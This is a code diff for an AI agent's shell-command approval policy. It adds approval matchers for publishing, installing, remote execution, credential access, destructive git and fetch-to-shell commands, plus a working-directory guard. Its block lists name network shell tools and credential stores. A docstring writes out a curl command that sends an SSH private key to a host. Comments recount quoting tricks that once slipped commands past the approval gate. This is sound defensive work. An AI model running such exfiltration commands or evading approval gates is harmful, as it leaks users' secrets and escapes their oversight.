ExecTool(Tool): """Tool to execute shell commands.""" @@ -90,6 +107,20 @@ def __init__( default=_ApprovalTurn(), ) + def register_approval_matcher(self, name: str, matcher: Callable[[str], bool]) -> None: + """Add a command family this tool must ask about before running. + + The policy is per-tool rather than process-wide, so a surface that needs + to ask about more than deletion has to reach it through the tool it will + actually run on. Exposed here because the alternative is a caller + touching ``_policy`` -- and the set of families a surface asks about is a + property of that surface, not of the policy's internals. + + See ``shell_policy.EXTERNAL_EFFECT_MATCHERS`` for the group ``raven acp`` + registers and for why the terminal does not. + """ + self._policy.register_approval_matcher(name, matcher) + def start_approval_turn( self, responder: ApprovalResponder | None, @@ -179,18 +210,12 @@ async def execute( ) -> str | ToolResult: cwd = working_dir or self.working_dir or os.getcwd() - if not self._executor.is_sandboxed: + sandboxed = self._executor.is_sandboxed + if not sandboxed: # Non-sandboxed: full guard — deny-list patterns AND workspace restriction. guard_error = self._guard_command(command, cwd) if guard_error: return self._terminal_error(guard_error) - decision = self._policy.evaluate(command) - if decision is CommandDecision.HARD_DENY: - return self._terminal_error("Error: Command blocked by safety guard (policy evaluation failed)") - if decision is CommandDecision.REQUIRE_APPROVAL: - approval_error = await self._request_approval(command) - if approval_error: - return approval_error elif self.restrict_to_workspace: # Sandboxed: skip the deny-list (microVM provides real isolation), but still # enforce workspace restriction so operator-set boundaries are respected. @@ -198,6 +223,20 @@ async def execute( if workspace_error: return self._terminal_error(workspace_error) + # Classification runs either way, and the sandbox flag reaches it rather + # than skipping it. A microVM contains what a command does to files; it + # does not contain a push, an install, or a connection to another machine. + # Short-circuiting the whole check on the flag made the SAFER + # configuration prompt less than the plain one, for exactly the + # operations the sandbox has no say over. + decision = self._policy.evaluate(command, sandboxed=sandboxed) + if decision is CommandDecision.HARD_DENY: + return self._terminal_error("Error: Command blocked by safety guard (policy evaluation failed)") + if decision is CommandDecision.REQUIRE_APPROVAL: + approval_error = await self._request_approval(command, sandboxed=sandboxed) + if approval_error: + return approval_error + # Use `is None` check — `timeout or default` would treat timeout=0 as falsy. effective_timeout = min(self.timeout if timeout is None else timeout, self._MAX_TIMEOUT) @@ -220,7 +259,7 @@ async def execute( return f"Error executing command: {str(e)}" return result.as_text(self._MAX_OUTPUT) - async def _request_approval(self, command: str) -> ToolResult | None: + async def _request_approval(self, command: str, *, sandboxed: bool = False) -> ToolResult | None: """Request one-shot authority for an exact command, failing closed. The responder belongs to the current turn and is installed only for an @@ -239,7 +278,10 @@ async def _request_approval(self, command: str) -> ToolResult | None: turn_id=turn.turn_id, tool_call_id=turn.tool_call_id, command=command, - description="Delete files using a shell command", + description=_APPROVAL_DESCRIPTIONS.get( + self._policy.approval_reason(command, sandboxed=sandboxed) or "", + "Run a command that needs your approval", + ), ) if approved: return None diff --git a/raven/agent/tools/shell_policy.py b/raven/agent/tools/shell_policy.py index 79e379cd..02077093 100644 --- a/raven/agent/tools/shell_policy.py +++ b/raven/agent/tools/shell_policy.py @@ -15,6 +15,7 @@ import re import shlex from collections.abc import Callable, Iterator +from contextvars import ContextVar from enum import StrEnum from pathlib import PurePath @@ -48,7 +49,58 @@ ), } _ASSIGNMENT = re.compile(r"[A-Za-z_][A-Za-z0-9_]*=.*", re.DOTALL) -_COMMAND_BOUNDARIES = frozenset(";&|\n(){}`") +# Programs whose own arguments are another command to run. These are not +# wrappers in the `_unwrap_command_wrappers` sense -- `xargs rm` runs `rm` once +# per input line rather than becoming it -- but the command they carry has to +# be classified, or `xargs rm -rf` and `timeout 5 rm -rf` land on the opposite +# side of the policy from the bare `rm -rf` they are. +_COMMAND_RUNNERS: dict[str, frozenset[str]] = { + "ionice": frozenset({"-c", "--class", "-n", "--classdata", "-p", "--pid"}), + "nice": frozenset({"-n", "--adjustment"}), + "setsid": frozenset(), + "stdbuf": frozenset({"-e", "--error", "-i", "--input", "-o", "--output"}), + "time": frozenset({"-f", "--format", "-o", "--output"}), + "timeout": frozenset({"-k", "--kill-after", "-s", "--signal"}), + "xargs": frozenset( + { + "-a", + "--arg-file", + "-d", + "--delimiter", + "-E", + "-I", + "-i", + "--replace", + "-L", + "-l", + "--max-lines", + "-n", + "--max-args", + "-P", + "--max-procs", + "-s", + "--max-chars", + } + ), +} +# `timeout` alone takes a positional before the command it runs. +_TIMEOUT_DURATION = re.compile(r"[0-9]+(?:\.[0-9]+)?[smhd]?") +_ASSIGNMENT = re.compile(r"[A-Za-z_][A-Za-z0-9_]*=.*", re.DOTALL) + +_TIMEOUT_DURATION = re.compile(r"[0-9]+(?:\.[0-9]+)?[smhd]?") + + +# Whole tokens that are shell operators, and therefore command boundaries. +# Matched as whole tokens and not character by character: ``shlex`` groups a run +# of punctuation into one token, and a *quoted* argument made only of those +# characters arrives here looking identical to an operator. That is how +# ``aws --query '{}' --cli-binary-format raw s3 cp`` came to be split at its own +# argument, leaving the next segment to start at an option -- so the executable, +# which is what every family matcher keys on, was lost and the command was +# allowed without asking. ``{}`` is on no shell's operator list; ``{`` and ``}`` +# are operators separately, and a bare ``{}`` is an ordinary word +# (``find -exec rm {} \;`` and ``xargs -I{}`` both rely on that). +_COMMAND_OPERATORS = frozenset({";", ";;", "&", "&&", "|", "||", "(", ")", "{", "}", "`"}) _SHELL_COMMAND_WRAPPERS = frozenset({"bash", "dash", "ksh", "sh", "zsh"}) _SYSTEM_POWER_COMMANDS = frozenset({"halt", "poweroff", "reboot", "shutdown"}) _POWER_MULTIPLEXERS = frozenset({"busybox", "init", "loginctl", "systemctl", "telinit"}) @@ -64,30 +116,105 @@ class CommandDecision(StrEnum): REQUIRE_APPROVAL = "require_approval" +# Shell operators, longest first so ``|&`` is not read as ``|`` then ``&``. Split +# on the RAW command text rather than on tokens: ``shlex`` strips quote +# provenance, so by the time a token says ``|`` there is no way left to tell the +# pipeline operator from ``git -C '|' push``, whose repository directory is +# literally named ``|``. Both used to segment identically, and the second one +# published without asking. +_OPERATORS = ("|&", "&&", "||", ";;", ";", "&", "|", "(", ")", "`", "\n") +# ``{`` and ``}`` are reserved words rather than operators: they separate +# commands only as whole words (``{ rm x; }``). A brace glued to other characters +# is an ordinary argument, which is what ``find -exec rm {} \;`` and ``xargs +# -I{}`` depend on. +_WORD_OPERATORS = ("{", "}") +_OPERATOR_ADJACENT = frozenset(" \t\r\n;&|()`") + + +def _operator_at(command: str, index: int) -> str | None: + """The operator starting at ``index``, or ``None``. + + Assumes the caller has established that ``index`` is outside quoting. + """ + + for operator in _OPERATORS: + if command.startswith(operator, index): + return operator + char = command[index] + if char in _WORD_OPERATORS: + before = command[index - 1] if index else " " + after = command[index + 1] if index + 1 < len(command) else " " + if before in _OPERATOR_ADJACENT and after in _OPERATOR_ADJACENT: + return char + return None + + +def _split_on_operators(command: str) -> Iterator[str]: + """Yield the command's pieces, split at unquoted operators. + + Quote state is tracked here and nowhere else, because this is the only place + that still has it. A single-quoted run is literal; inside double quotes a + backslash escapes; outside quotes a backslash escapes the next character. An + unterminated quote yields what there is, and the caller's own ``shlex`` pass + is what rejects it -- refusing here would make this function decide policy. + """ + + piece: list[str] = [] + quote = "" + index = 0 + while index < len(command): + char = command[index] + if quote: + piece.append(char) + if char == "\\" and quote == '"' and index + 1 < len(command): + piece.append(command[index + 1]) + index += 2 + continue + if char == quote: + quote = "" + index += 1 + continue + if char in "'\"": + quote = char + piece.append(char) + index += 1 + continue + if char == "\\" and index + 1 < len(command): + piece.append(char) + piece.append(command[index + 1]) + index += 2 + continue + operator = _operator_at(command, index) + if operator is not None: + text = "".join(piece).strip() + if text: + yield text + piece = [] + index += len(operator) + continue + piece.append(char) + index += 1 + text = "".join(piece).strip() + if text: + yield text + + def _command_segments(command: str) -> Iterator[list[str]]: """Yield compound shell commands as independently classified token lists. - This conservative lexical split catches deletion in common sequence, - conditional, and pipeline forms without pretending to evaluate expansions - or reproduce the full shell grammar. + A conservative lexical split that catches the common sequence, conditional + and pipeline forms without pretending to evaluate expansions or reproduce the + full shell grammar. The split itself happens on the raw text (see + :func:`_split_on_operators`); each piece is then tokenised on its own. """ - lexer = shlex.shlex(command, posix=True, punctuation_chars=";&|(){}`\n") - lexer.commenters = "" - # Newlines must remain visible as command boundaries. Quoted newlines are - # still returned inside their quoted token and therefore do not split it. - lexer.whitespace = " \t\r" - lexer.whitespace_split = True - segment: list[str] = [] - for token in lexer: - if token and all(char in _COMMAND_BOUNDARIES for char in token): - if segment: - yield segment - segment = [] - continue - segment.append(token) - if segment: - yield segment + for piece in _split_on_operators(command): + lexer = shlex.shlex(piece, posix=True) + lexer.commenters = "" + lexer.whitespace_split = True + segment = list(lexer) + if segment: + yield segment def _embedded_shell_command(segment: list[str]) -> str | None: @@ -108,6 +235,35 @@ def _embedded_shell_command(segment: list[str]) -> str | None: return None +def _runner_inner_command(segment: list[str]) -> str | None: + """Return the command a recognized command-runner was handed, if any. + + Option values are consumed so the command position is found rather than + guessed; an unrecognized option shape ends the scan, which leaves a token + that is not an executable in front and matches nothing. + """ + + if not segment: + return None + options_with_value = _COMMAND_RUNNERS.get(PurePath(segment[0]).name) + if options_with_value is None: + return None + tokens = segment[1:] + while tokens and tokens[0].startswith("-") and tokens[0] != "-": + option = tokens.pop(0) + if option == "--": + break + # A value attached to its option (`-n5`, `--max-args=5`) is already + # consumed; only a separate one has to be stepped over. + if "=" in option or (not option.startswith("--") and len(option) > 2): + continue + if option in options_with_value and tokens: + tokens.pop(0) + if PurePath(segment[0]).name == "timeout" and tokens and _TIMEOUT_DURATION.fullmatch(tokens[0]): + tokens = tokens[1:] + return shlex.join(tokens) if tokens else None + + def _matches_delete_command(command: str, *, _depth: int = 0) -> bool: """Recognize direct file-deletion commands after wrapper normalization.""" @@ -143,6 +299,18 @@ def _matches_delete_command(command: str, *, _depth: int = 0) -> bool: and _matches_delete_command(embedded, _depth=_depth + 1) ): return True + # The command a RUNNER was handed, at the same depth as the + # embedded shell above. ``timeout 5 rm -rf x`` and + # ``xargs -I{} rm -rf {}`` are the bare command they carry, and + # this walker is hand-rolled rather than built on ``_iter_argv``, + # so it does not inherit the unwrap from there. + runner = _runner_inner_command(segment) + if ( + runner is not None + and _depth < _MAX_EMBEDDED_SHELL_DEPTH + and _matches_delete_command(runner, _depth=_depth + 1) + ): + return True return False @@ -165,6 +333,18 @@ def _matches_system_power_command(command: str, *, _depth: int = 0) -> bool: and _matches_system_power_command(embedded, _depth=_depth + 1) ): return True + # The command a RUNNER was handed, at the same depth as the + # embedded shell above. ``timeout 5 rm -rf x`` and + # ``xargs -I{} rm -rf {}`` are the bare command they carry, and + # this walker is hand-rolled rather than built on ``_iter_argv``, + # so it does not inherit the unwrap from there. + runner = _runner_inner_command(segment) + if ( + runner is not None + and _depth < _MAX_EMBEDDED_SHELL_DEPTH + and _matches_system_power_command(runner, _depth=_depth + 1) + ): + return True return False @@ -199,30 +379,503 @@ def _unwrap_command_wrappers(segment: list[str]) -> list[str]: return tokens +def _iter_argv(command: str, *, _depth: int = 0) -> Iterator[list[str]]: + """Yield every argv this command string actually runs, wrappers removed. + + The recursion the family matchers below would each have to repeat: compound + segments, ``sudo``/``env``/assignment wrappers and an embedded ``sh -c``. + Written once so a family cannot be accidentally shallower than its neighbours -- the failure that turns + ``sh -c "git push"`` into an unclassified command while ``git push`` prompts. + """ + + for segment in _command_segments(command): + segment = _unwrap_command_wrappers(segment) + if not segment: + continue + yield segment + if _depth >= _MAX_EMBEDDED_SHELL_DEPTH: + continue + # The embedded shell and the command a RUNNER was handed. The runner half + # closes the gap this comment used to record: ``timeout 5 git push`` and + # ``xargs -I{} rm -rf {}`` carry a command that has to be classified, or + # they land on the opposite side of the policy from the bare command they + # are. It became load-bearing when quoted metacharacters stopped being + # command boundaries -- ``{}`` had been splitting ``xargs -I{} rm -rf {}`` + # into a segment that happened to start at ``rm``, so the delete was + # caught by accident rather than by looking. + for nested in (_embedded_shell_command(segment), _runner_inner_command(segment)): + if nested is not None: + yield from _iter_argv(nested, _depth=_depth + 1) + + +# Global options that take their value as the next word, per executable. This is +# an accuracy aid, not a safety mechanism: see ``_subcommands``, which cannot +# under-read whether or not an option appears here. Skipping a known value keeps +# a path or a profile name from reading as a verb. Listing a boolean flag by +# mistake would consume the following word, which is why only options certain to +# take a separate value belong here; options that carry theirs attached +# (``--git-dir=X``, ``terraform -chdir=DIR``) need no entry. +_GLOBAL_OPTIONS_WITH_VALUE: dict[str, frozenset[str]] = { + "git": frozenset({"-C", "-c", "--git-dir", "--work-tree", "--namespace", "--config-env"}), + "gh": frozenset({"-R", "--repo", "--hostname"}), + "glab": frozenset({"-R", "--repo", "--host"}), + "npm": frozenset({"-C", "--prefix", "-w", "--workspace", "--registry", "--userconfig", "--globalconfig"}), + "pnpm": frozenset({"-C", "--dir", "-F", "--filter"}), + "yarn": frozenset({"--cwd"}), + "bun": frozenset({"--cwd"}), + "docker": frozenset({"-H", "--host", "-c", "--context", "--config", "-l", "--log-level"}), + "podman": frozenset({"--connection", "--root", "--runtime", "--url"}), + "kubectl": frozenset( + { + "-n", + "--namespace", + "--context", + "--cluster", + "--kubeconfig", + "--user", + "-s", + "--server", + "--as", + "--token", + "--request-timeout", + } + ), + "helm": frozenset({"-n", "--namespace", "--kube-context", "--kubeconfig"}), + "aws": frozenset( + { + "--profile", + "--region", + "--endpoint-url", + "--output", + "--color", + "--ca-bundle", + "--cli-read-timeout", + "--cli-connect-timeout", + } + ), + "gcloud": frozenset( + { + "--project", + "--account", + "--configuration", + "--billing-project", + "--impersonate-service-account", + "--verbosity", + "--format", + } + ), + "cargo": frozenset({"-Z", "--manifest-path", "--config", "--color"}), + "pip": frozenset( + { + "-i", + "--index-url", + "--extra-index-url", + "--cache-dir", + "--log", + "--proxy", + "--timeout", + "--retries", + "--python", + } + ), + "pip3": frozenset( + { + "-i", + "--index-url", + "--extra-index-url", + "--cache-dir", + "--log", + "--proxy", + "--timeout", + "--retries", + "--python", + } + ), + "uv": frozenset({"-p", "--python", "--directory", "--project", "--cache-dir", "--config-file", "--color"}), + "pipx": frozenset({"--python"}), + "poetry": frozenset({"-C", "--directory", "--project"}), + "systemctl": frozenset({"-H", "--host", "-M", "--machine", "-t", "--type"}), +} + + +def _subcommands(argv: list[str]) -> list[str]: + """Every non-option word after the executable, in order. + + There is deliberately no limit on how many are returned, and that is the + property the callers depend on: **this cannot under-read**. Two earlier + versions could. The first skipped options but not their values, so a value + was counted as one of the words being looked for. The second consumed the + values of a table of known options, which merely moved the failure to the + options the table was missing -- ``aws --query '{}' --cli-binary-format raw`` + exhausted a two-word budget before ``s3``, exactly as + ``git --git-dir X --work-tree Y push`` had before ``push``. No table of every + option of every tool can be complete, so correctness must not rest on one. + + Returning every word means an unconsumed option value becomes an extra + candidate. That can only make a caller match something it need not have, + which for a policy means asking about a command it could have allowed -- the + direction a safety boundary is allowed to fail in. Under-reading means not + asking, which is the direction that let a publish through. + + :data:`_GLOBAL_OPTIONS_WITH_VALUE` is therefore an accuracy aid rather than a + safety mechanism: skipping a known option's value keeps ``git -C push + status`` (a directory that happens to be named ``push``) from reading as a + publish. An option missing from it costs precision, never safety. + """ + + options_with_value = _GLOBAL_OPTIONS_WITH_VALUE.get(PurePath(argv[0]).name, frozenset()) + words: list[str] = [] + rest = list(argv[1:]) + while rest: + word = rest.pop(0) + if word == "--": + # Everything after it is an argument, so there is no subcommand left + # to find. Continuing would collect operands as candidate verbs. + break + if word.startswith("-"): + if "=" not in word and word in options_with_value and rest: + rest.pop(0) + continue + words.append(word) + return words + + +_PUBLISH_SUBCOMMANDS: dict[str, frozenset[str]] = { + "git": frozenset({"push"}), + "gh": frozenset({"pr", "release", "repo", "workflow", "secret"}), + "glab": frozenset({"mr", "release", "repo"}), + "npm": frozenset({"publish"}), + "pnpm": frozenset({"publish"}), + "yarn": frozenset({"publish"}), + "cargo": frozenset({"publish"}), + "docker": frozenset({"push"}), + "gcloud": frozenset({"deploy"}), + "kubectl": frozenset({"apply", "delete", "create", "patch", "replace"}), + "terraform": frozenset({"apply", "destroy"}), + "aws": frozenset({"s3", "s3api", "lambda", "cloudformation"}), +} +_PUBLISH_EXECUTABLES = frozenset({"twine", "flyctl", "fly", "vercel", "netlify", "heroku"}) + +_INSTALL_SUBCOMMANDS: dict[str, frozenset[str]] = { + "npm": frozenset({"install", "i", "ci", "add", "exec", "create"}), + "pnpm": frozenset({"install", "add", "dlx", "create"}), + "yarn": frozenset({"install", "add", "dlx", "create"}), + "bun": frozenset({"install", "add", "x", "create"}), + "pip": frozenset({"install"}), + "pip3": frozenset({"install"}), + "uv": frozenset({"add", "pip", "tool", "sync"}), + "uvx": frozenset(), + "pipx": frozenset({"install", "run"}), + "poetry": frozenset({"add", "install"}), + "gem": frozenset({"install"}), + "cargo": frozenset({"install"}), + "go": frozenset({"install", "get"}), + "brew": frozenset({"install", "reinstall", "upgrade", "tap"}), + "apt": frozenset({"install", "upgrade"}), + "apt-get": frozenset({"install", "upgrade"}), + "dnf": frozenset({"install", "upgrade"}), + "yum": frozenset({"install", "upgrade"}), + "apk": frozenset({"add"}), + "pacman": frozenset({"-S"}), + "gh": frozenset({"extension"}), + "code": frozenset({"--install-extension"}), +} + +_REMOTE_EXEC_EXECUTABLES = frozenset({"ssh", "scp", "sftp", "rsync", "telnet", "nc", "ncat", "socat"}) +_REMOTE_EXEC_SUBCOMMANDS: dict[str, frozenset[str]] = { + "docker": frozenset({"run", "exec", "compose"}), + "podman": frozenset({"run", "exec"}), + "kubectl": frozenset({"exec", "port-forward", "cp"}), +} + +_CREDENTIAL_EXECUTABLES = frozenset({"security", "keyring", "pass", "op", "vault", "gpg"}) +_CREDENTIAL_SUBCOMMANDS: dict[str, frozenset[str]] = { + "gh": frozenset({"auth"}), + "glab": frozenset({"auth"}), + "aws": frozenset({"configure", "sso"}), + "gcloud": frozenset({"auth"}), + "az": frozenset({"login"}), + "docker": frozenset({"login"}), + "npm": frozenset({"login", "adduser", "token"}), + "heroku": frozenset({"auth", "login"}), + "git": frozenset({"credential"}), +} + +# ``git`` subcommands that discard work the agent cannot get back. Included +# because a checkpoint is not a backup: the per-turn shadow commit covers the +# working directory, and these throw away exactly what has not been committed. +_DESTRUCTIVE_GIT: dict[str, frozenset[str]] = { + "reset": frozenset({"--hard"}), + "clean": frozenset({"-f", "-fd", "-fdx", "-xdf", "-df", "--force"}), + "checkout": frozenset({"--", "-f", "--force"}), + "restore": frozenset({"--", "-W", "--worktree", "--staged"}), + "branch": frozenset({"-D"}), + "push": frozenset({"-f", "--force", "--delete"}), + "filter-branch": frozenset(), + "stash": frozenset({"drop", "clear"}), +} + +_FETCHERS = frozenset({"curl", "wget", "http", "https", "httpie"}) +# Flags that turn a fetch from "read something" into "write something here" or +# "send something out". A bare GET to stdout is not in this set on purpose: an +# editor's agent reads documentation constantly, and prompting for every read +# trains the reader to approve without looking, which is worse than not asking. +_FETCH_WRITE_FLAGS = frozenset({"-o", "-O", "--output", "--output-document", "-T", "--upload-file", "--remote-name"}) +_FETCH_SEND_FLAGS = frozenset( + {"-d", "--data", "--data-binary", "--data-raw", "--data-urlencode", "-F", "--form", "-X", "--request"} +) + + +def _matches_publish_command(command: str) -> bool: + """A command that pushes work somewhere other people can see it.""" + + for argv in _iter_argv(command): + executable = PurePath(argv[0]).name + if executable in _PUBLISH_EXECUTABLES: + return True + allowed = _PUBLISH_SUBCOMMANDS.get(executable) + if allowed and any(word in allowed for word in _subcommands(argv)): + return True + return False + + +def _matches_install_command(command: str) -> bool: + """A command that installs software. + + Approval-worthy for the reason a lockfile exists: a package manager runs + install scripts from the network as the current user, so "install one + dependency" and "run arbitrary code" are the same act. + """ + + for argv in _iter_argv(command): + executable = PurePath(argv[0]).name + if executable not in _INSTALL_SUBCOMMANDS: + continue + allowed = _INSTALL_SUBCOMMANDS[executable] + if not allowed: + return True + words = _subcommands(argv) + if any(word in allowed for word in words): + return True + # ``pacman -S`` and ``code --install-extension`` put the verb in an + # option rather than a word, so the flags are checked too. + if any(token in allowed for token in argv[1:]): + return True + return False + + +def _matches_remote_exec_command(command: str) -> bool: + """A command that runs something, or moves something, on another machine.""" + + for argv in _iter_argv(command): + executable = PurePath(argv[0]).name + if executable in _REMOTE_EXEC_EXECUTABLES: + return True + allowed = _REMOTE_EXEC_SUBCOMMANDS.get(executable) + if allowed and any(word in allowed for word in _subcommands(argv)): + return True + return False + + +def _matches_credential_command(command: str) -> bool: + """A command that reads or writes a credential store.""" + + for argv in _iter_argv(command): + executable = PurePath(argv[0]).name + if executable in _CREDENTIAL_EXECUTABLES: + return True + allowed = _CREDENTIAL_SUBCOMMANDS.get(executable) + if allowed and any(word in allowed for word in _subcommands(argv)): + return True + return False + + +def _matches_destructive_vcs_command(command: str) -> bool: + """A ``git`` command that discards work rather than recording it.""" + + for argv in _iter_argv(command): + if PurePath(argv[0]).name != "git": + continue + words = _subcommands(argv) + for word in words: + flags = _DESTRUCTIVE_GIT.get(word) + if flags is None: + continue + if not flags: + return True + rest = argv[argv.index(word) + 1 :] + if any(token in flags for token in rest): + return True + return False + + +def _matches_fetch_side_effect(command: str) -> bool: + """A download that writes a file, sends data, or is piped into a shell.""" + + argv_list = list(_iter_argv(command)) + for argv in argv_list: + executable = PurePath(argv[0]).name + if executable not in _FETCHERS: + continue + for token in argv[1:]: + head = token.split("=", 1)[0] + if head in _FETCH_WRITE_FLAGS or head in _FETCH_SEND_FLAGS: + return True + # Fetch piped into an interpreter, which is the shape that makes a download + # an execution. Checked across segments rather than inside one, because the + # pipe is what splits them. + executables = [PurePath(argv[0]).name for argv in argv_list] + if any(name in _FETCHERS for name in executables) and any( + name in _SHELL_COMMAND_WRAPPERS or name in {"python", "python3", "node", "ruby", "perl", "php"} + for name in executables + ): + return True + return False + + +_SURFACE_FAMILIES: ContextVar[tuple[tuple[str, ApprovalMatcher], ...]] = ContextVar( + "raven_surface_approval_families", default=() +) + + +def set_surface_approval_families(families: tuple[tuple[str, ApprovalMatcher], ...]) -> None: + """Declare the families every tool on THIS surface must ask about. + + Per surface rather than per tool because a per-tool registration reaches the + main loop only: a sub-agent builds its own ``ExecTool`` with its own policy, + so a delegated ``git push`` runs unannounced while the identical command asks + in the main agent. + + A ContextVar and not a module global, which is the difference between a scope + and a leak. A task copies the context it was created in, so every tool built + under the connection that declared this -- the main loop's, and each + sub-agent's, however deep -- inherits it, while a second connection, or a + test, is unaffected by what another one declared. + + Must be set before the tools are built: a policy reads this once at + construction, so a tool made earlier keeps the families it was born with. + """ + + _SURFACE_FAMILIES.set(tuple(families)) + + +def surface_approval_families() -> tuple[tuple[str, ApprovalMatcher], ...]: + """The families this surface asks about; empty unless one declared them.""" + + return _SURFACE_FAMILIES.get() + + +EXTERNAL_EFFECT_MATCHERS: tuple[tuple[str, ApprovalMatcher], ...] = ( + ("publish_command", _matches_publish_command), + ("install_command", _matches_install_command), + ("remote_exec_command", _matches_remote_exec_command), + ("credential_command", _matches_credential_command), + ("destructive_vcs_command", _matches_destructive_vcs_command), + ("fetch_side_effect", _matches_fetch_side_effect), +) +"""Command families whose effect leaves the working directory, as opt-in matchers. + +Not registered by default. The built-in policy asks about exactly one family -- +deletion -- which is right for a terminal the reader is already looking at, and +wrong for an agent running behind an editor where nothing is on screen. A surface +that wants to ask registers these; ``raven acp`` does. + +The line drawn here is "hard to undo from outside this directory", not "dangerous": +a build, a test run, a formatter, a file edit and a plain ``curl`` of a +documentation page all stay unprompted, because a prompt on each of those trains +the reader to approve without looking -- which costs more than it buys. + +**The gap, stated rather than papered over:** any command with network access can +exfiltrate, and no token-level classifier can see that. ``curl +https://host/$(cat ~/.ssh/id_rsa)`` is a plain GET. What this catches is the +careless case and the visible case, not a determined one; containment is the +sandbox's job, not the classifier's. +""" + + class ShellCommandPolicy: """Apply hard-deny and approval rules in their required precedence order.""" def __init__(self, *, deny_patterns: list[str]) -> None: # Compile once because every direct shell execution crosses this policy. self._deny_patterns = tuple(re.compile(pattern, re.IGNORECASE) for pattern in deny_patterns) - self._approval_matchers: list[tuple[str, ApprovalMatcher]] = [("delete_command", _matches_delete_command)] - - def register_approval_matcher(self, name: str, matcher: ApprovalMatcher) -> None: - """Extend approval classification with a named command-family matcher.""" - - self._approval_matchers.append((name, matcher)) + # Deletion is built in and marked as contained: a sandbox really does hold + # it, so a sandboxed turn does not have to ask about it. + self._approval_matchers: list[tuple[str, ApprovalMatcher, bool]] = [ + ("delete_command", _matches_delete_command, False) + ] + # Whatever this surface asks about, picked up at construction so a tool + # built later -- a sub-agent's, most of all -- carries the same families as + # the main loop's. Without this a delegated ``git push`` runs unannounced. + for name, matcher in surface_approval_families(): + self._approval_matchers.append((name, matcher, True)) + + def register_approval_matcher(self, name: str, matcher: ApprovalMatcher, *, escapes_sandbox: bool = True) -> None: + """Extend approval classification with a named command-family matcher. + + ``escapes_sandbox`` says whether a sandbox contains this family's effect. + True by default because the families a surface registers are the ones + whose effects leave the workspace -- pushing, installing, reaching another + machine -- and a microVM does not contain a network call. A family a + sandbox really does hold (deletion) sets it False, which is what lets a + sandboxed turn skip the prompt it does not need. + """ + + self._approval_matchers.append((name, matcher, escapes_sandbox)) + + def approval_reason(self, command: str, *, sandboxed: bool = False) -> str | None: + """The name of the family that makes this command need approval. + + Separate from :meth:`evaluate` because the caller needs both answers and + they are not the same question: ``evaluate`` decides, this explains. A + prompt that says only "this command needs approval" gives the reader + nothing to decide with, and the description ``ExecTool`` used before this + existed was a constant -- it read "Delete files using a shell command" + for every family, because deletion was the only one registered. + + Returns ``None`` when nothing requires approval, including for a + hard-denied command: there is no prompt to explain. + """ + + if not sandboxed and any(pattern.search(command) for pattern in self._deny_patterns): + return None + try: + # Only the hard denies short-circuit: there is no prompt to explain + # for a command that will not run. Deletion is NOT one of them here + # -- it reaches this surface as a registered matcher like every other + # family, so it must fall through and name itself, or the prompt for + # an ``rm`` loses the one line that says what it is about. + if not sandboxed and _matches_system_power_command(command): + return None + for name, matcher, escapes in self._approval_matchers: + if sandboxed and not escapes: + continue + if matcher(command): + return name + except Exception: + # Mirrors ``evaluate``'s fail-closed branch, which turns a faulty + # matcher into a hard deny -- and a hard deny has no reason to give. + return None + return None - def evaluate(self, command: str) -> CommandDecision: + def evaluate(self, command: str, *, sandboxed: bool = False) -> CommandDecision: """Classify a command, reducing authority when a matcher cannot decide.""" # Hard deny runs first so an approval matcher can never convert an # unconditionally forbidden command into an approvable operation. - if any(pattern.search(command) for pattern in self._deny_patterns): + # + # Every refusal below is about damage a sandbox holds: a deny pattern, or + # the machine powered off. Inside a microVM the machine in question IS the + # sandbox, which is what the sandboxed path is allowed to skip -- and + # skipping it is the point of running one. What a sandbox does NOT hold is + # a push, an install, or a connection to another machine, so those + # families still ask. + if not sandboxed and any(pattern.search(command) for pattern in self._deny_patterns): return CommandDecision.HARD_DENY try: - if _matches_system_power_command(command): + if not sandboxed and _matches_system_power_command(command): return CommandDecision.HARD_DENY - if any(matcher(command) for _, matcher in self._approval_matchers): + if any(matcher(command) for _name, matcher, escapes in self._approval_matchers if escapes or not sandboxed): return CommandDecision.REQUIRE_APPROVAL except Exception: # Matchers inspect untrusted command text and may be extended later. @@ -231,4 +884,11 @@ def evaluate(self, command: str) -> CommandDecision: return CommandDecision.ALLOW -__all__ = ["ApprovalMatcher", "CommandDecision", "ShellCommandPolicy"] +__all__ = [ + "EXTERNAL_EFFECT_MATCHERS", + "ApprovalMatcher", + "CommandDecision", + "ShellCommandPolicy", + "set_surface_approval_families", + "surface_approval_families", +] diff --git a/raven/agent/workdir.py b/raven/agent/workdir.py new file mode 100644 index 00000000..a9faf6bf --- /dev/null +++ b/raven/agent/workdir.py @@ -0,0 +1,64 @@ +"""Resolve the working directory a turn runs in. + +Agent home (user memory, skills, transcripts) is global and separate; this +module only decides where a turn reads and writes files. + +Today it holds the guard alone. A caller that lets somebody name a working +directory -- an editor opening a project, a flag on the command line -- has to +check it before anything runs in there, and the check is not obvious: the +dangerous answers are agent home itself, any ancestor of it, and three of its +subtrees, each for a different reason spelled out below. The per-channel default +roots and the per-turn binding that go with this in a full workdir feature are +not here yet, because nothing on this side asks where a turn should run. +""" + +from __future__ import annotations + +from pathlib import Path + +# Subtrees of agent home the agent must not be able to adopt as a working +# directory: it would then write artifacts over its own memory and skills. +# ``sessions`` covers the subagent history too -- it lives under each session's +# own directory there. +_PROTECTED_SUBTREES = ("user_memory", "skills", "sessions") + + +def is_within(path: Path, root: Path) -> bool: + """Whether ``path`` sits inside ``root``, comparing physical paths. + + A validated override is resolved through symlinks (``validate_override`` + calls ``.resolve()``) while a workspace root generally is not. Comparing an + unresolved and a resolved path with ``is_relative_to`` can disagree about a + directory that is, on disk, the very same place. + """ + return path.resolve().is_relative_to(root.resolve()) + + +def validate_override(value: str | Path, agent_home: Path) -> Path: + """Check a user-supplied working directory, returning it resolved.""" + path = Path(value).expanduser() + if not path.is_absolute(): + raise ValueError(f"working directory must be an absolute path, got {value!r}") + resolved = path.resolve() + home = Path(agent_home).expanduser().resolve() + # Agent home itself is rejected for the same reason its subtrees are, and + # more strongly: from there every protected subtree is one relative path + # away, so an ordinary relative write lands on the agent's own memory. + if resolved == home: + raise ValueError(f"working directory must not be the agent home directory itself ({home})") + # An ancestor is worse still. `~/.raven` is not merely agent home's parent, + # it is the instance data directory -- config.json (provider keys), oauth/ + # (provider tokens), cron/, sentinel/, logs/. A per-turn checkpoint that runs + # `add -A` over the working directory, and a `.raven/` exclude that cannot + # help when `.raven` *is* the work-tree root, would commit every credential + # into a shadow git repo. + if resolved in home.parents: + raise ValueError(f"working directory must not contain the agent home directory ({home})") + for subtree in _PROTECTED_SUBTREES: + candidate = home / subtree + if resolved == candidate or candidate in resolved.parents: + raise ValueError(f"working directory must not be inside the agent's {subtree} tree ({candidate})") + 